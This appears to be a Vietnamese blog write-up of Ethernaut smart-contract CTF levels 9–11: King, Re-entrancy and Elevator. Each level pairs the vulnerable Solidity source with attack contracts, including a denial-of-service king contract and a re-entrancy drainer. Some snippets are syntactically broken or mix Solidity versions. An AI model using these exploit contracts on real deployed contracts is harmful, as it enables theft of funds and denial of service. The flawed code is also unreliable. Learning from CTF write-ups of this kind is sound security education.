KienDT

Talk is cheap. Show me the code.

The Ethernaut writeups - Part 3: 9-11

Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.

9. King

Nhiệm vụ: Đây là một trò chơi, trong đó người nào muốn trở thành king (nhà vua) thì sẽ phải trả giá cho người đang nắm giữ vị trí ấy một khoản tiền cao hơn giá trị của nhà vua hiện tại. Nhiệm vụ của bạn là bằng cách nào đó, trở thành king và giữ vị trí này mãi mãi, dù người khác có trả mức giá nào đi nữa

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

Phân tích

  • Để trở thành vua, ta phải gửi tiền cho nhà vua hiện tại. Theo đó, nếu như ta đang làm vua, và bằng cách nào đó, ta từ chối mọi giao dịch chuyển tiền đến ta, thì ta sẽ giữ vị trí đó mãi mãi. Vấn đề ở đây là ta làm sao có thể “từ chối mọi giao dịch” ? Đó là lúc ta cần biết đến payable trong solidity.
  • Để một contract có thể nhận được tiền, trừ trường hợp được nhận tiền từ selfdestruct của một contract khác, thì cách duy nhất đó chính là có fallback function với payable modifier. Nếu không có payable, contract không thể nhận dù chỉ một đồng.
  • Cùng nhìn lại hàm fallback function của King contract:
function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}
  • Ta nảy ra ý tưởng làm cho hàm king.transfer(msg.value) không thành công và transaction bị revert.
  • Chuẩn bị một contract không có payable fallback, chiếm quyền và thế là xong.

Solution

  • Trên Chrome Console, kiểm tra king hiện tại:
await contract.king();
  • Kiểm tra price hiện tại:
await contract.prize().then(x => x.toNumber);
> 1000000000000000000

nghĩa là giải thưởng hiện tại là 1 ether

  • Trên Remix IDE, chuẩn bị một contract tấn công không có payable fallback
contract Attack {

  function steal(address _target) public payable {
    if(!_target.call.{value: msg.value}()) revert();
  }
}
  • mình sẽ giải thích thêm một chút về đoạn if(!_target.call.{value: msg.value}()) revert();, có vẻ trông đoạn này hơi lạ nhưng có lý do của nó:
    • để gửi eth đến một địa chỉ, chúng ta có 3 cách: transfer, send, call. Trong đó thì transfersend được fixed số gas limit là 2300, quá là thấp, có nghĩa transfersend chỉ thuần tuý là để chuyển eth mà không thể thực hiện thêm bất cứ logic nào trong fallback function cả.
    • call là một hàm lowlevel, không giới hạn số gas limit, tuy nhiên sẽ trả về kết quả true/false thay vì throw ra một exception, vì thế ta cần đưa vào đoạn if-revert để biết được nó có lỗi hay không.
  • Compile và chạy hàm steal, _target là target của instance của bạn, msg.value ta cho một giá trị lớn hơn prize hiện tại, ví dụ 1.1 ether (1100 finneys).

  • Kiểm tra lại king hiện tại và thấy đang là bạn:
await contract.king();
  • Sử dụng một tài khoản khác, gửi tiền vào King contract với một giá trị lớn hơn prize hiện tại để xem có chiếm được quyền King hay không. Nếu không chiếm được, bạn đã thành công.

  • Submit && all done!

completed

10. Re-entrancy

Nhiệm vụ: Rút hết tiền khỏi smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Phân tích

  • Việc sử dụng các hàm low-level luôn tiềm ẩn nguy cơ xảy ra lỗi. Trong trường hợp này cũng không ngoại lệ, đó là hàm call.
  • Để chuyển tiền, ta có 3 hàm: transfer, sendcall. Giờ đây người ta khuyên chỉ nên dùng transfer và tránh hai hàm còn lại. Một cách hiểu đơn giản: transfer sẽ revert lại giao dịch một khi xảy ra lỗi. send chỉ trả về false khi xảy ra lỗi chứ không revert, call cũng vậy; nhưng trong khi send chỉ được tiêu có 2300 gas thì call được phép dùng bao giờ hết gas thì thôi. Đây chính là điểm để ta khai thác.
  • Khi rút tiền về địa chỉ của một contract thì receive function của contract đó sẽ được kích hoạt nếu không có data đi kèm. Sẽ ra sao nếu trong receive function ta gọi rút tiền một lần nữa, chẳng phải sẽ là đệ quy rút cho tới lúc hết sạch tiền hay sao ?

Solution

  • Chuẩn bị contract tấn công, hãy thay địa chỉ _target bằng địa chỉ instance của bạn
contract Attack {
    address target;
    Reentrance re;

    function Attack(address _target) {
        target = _target;
        re = Reentrance(target);
    }

    function attack() public payable {
        re.withdraw(0.5 ether);
    }

    receive() external payable {
        re.withdraw(0.5 ether);
    }
}
  • Trên RemixIDE, load Reentrancy contract và complile cũng như run Attack contract

  • Tiến hành chạy hàm donate() để donate cho Attack contract 1 ether

  • Chạy hàm attack() của Attack contract

  • Trên Chrome console, kiểm tra lại balance của Reentrancy instance xem đã về 0 chưa

await getBalance(contract.address);
> 0
  • Submit && all done!

completed

Bình luận

  • Đây là một tấn công có thể nói là kinh điển nhất của nền tảng ethereum cho tới thời điểm hiện tại. Bạn có thể đọc thêm về The DAO Hack
  • Hãy sử dụng transfer thay vì call
  • Hãy luôn kiểm tra các điều kiện, fail càng sớm càng tốt
  • Đọc thêm: https://blog.zeppelin.solutions/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942

11. Elevator

Nhiệm vụ: Chiếc thang máy này ngăn cản bạn lên tầng trên cùng. Bằng cách nào đó hãy break the rule và leo lên đỉnh.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Phân tích

  • function isLastFloor(uint) external returns (bool); là một hàm trả về bool mà không quy định là có được phép thay đổi storage hay không. Do đó ta có ý tưởng implement lưu trữ biến bool ở storage, trả về false ở lần gọi đầu, và thay đổi nó qua true ở lần gọi sau là thành công.

Solution

  • Trên RemixIDE, chuẩn bị contract để tấn công, implement Elevator interface, nhớ thay địa chỉ _target bằng địa chỉ instance của bạn:
contract ElevatorAttack {
  bool public isLast = true;

  function isLastFloor(uint) external returns (bool) {
    isLast = ! isLast;
    return isLast;
  }

  function attack(address _target) public {
    Elevator elevator = Elevator(_target);
    elevator.goTo(10);
  }
}
  • Theo trên, cứ tầng chẵn thì hàm sẽ trả về đó là top floor.
  • Chạy hàm attack()
  • Trên Chrome Console, kiểm tra lại điều kiện top:
(await contract.top()) > true;
  • Submit && all done!

completed